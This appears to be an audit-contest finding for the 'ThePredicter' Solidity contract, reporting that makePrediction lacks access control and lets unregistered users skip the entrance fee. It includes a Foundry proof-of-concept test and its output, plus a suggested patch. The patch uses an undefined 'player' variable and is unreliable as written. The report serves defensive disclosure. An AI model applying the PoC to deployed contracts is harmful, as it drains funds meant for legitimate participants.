Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anybody Can make prediction without registering, bypassing entrance fee

Summary

No proper checks in ThePredicter::makePredictionfunction, allows anybody to skip entrance fees to enter as a player.

Vulnerability Details

function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
/// @audit: no checks for player, if he is approved or not
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}

Above function has no checks if caller is approved player or not. It simply allows anybody who spending prediction fees. Which breaks the core invariant of the protocol.

This will allows users to bypass entrance fees, causing loss to participants as entrance fees is meant to serve as prize pool at the end of the event.

POC

In existing test suite, add following test

function test_AnybodyCanMakePredictionWithoutRegistering () public {
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Second
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
vm.stopPrank();
console.log("Stranger points:", scoreBoard.getPlayerScore(stranger));
}

then run forge test --mt test_AnybodyCanMakePredictionWithoutRegistering -vvand it will return following output.

[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.20
[⠊] Solc 0.8.20 finished in 1.86s
Compiler run successful!
Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] test_AnybodyCanMakePredictionWithoutRegistering() (gas: 161817)
Logs:
Stranger points: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.68ms (1.33ms CPU time)
Ran 1 test suite in 162.27ms (9.68ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Loss of funds

Tools Used

Manual Review

Recommendations

Make sure to check if caller is approved player or not. Here is the recomendations given below.

function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
+ if (playersStatus[player] != Status.Approved) {
+ revert ThePredicter__UnauthorizedAccess();
+ }
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.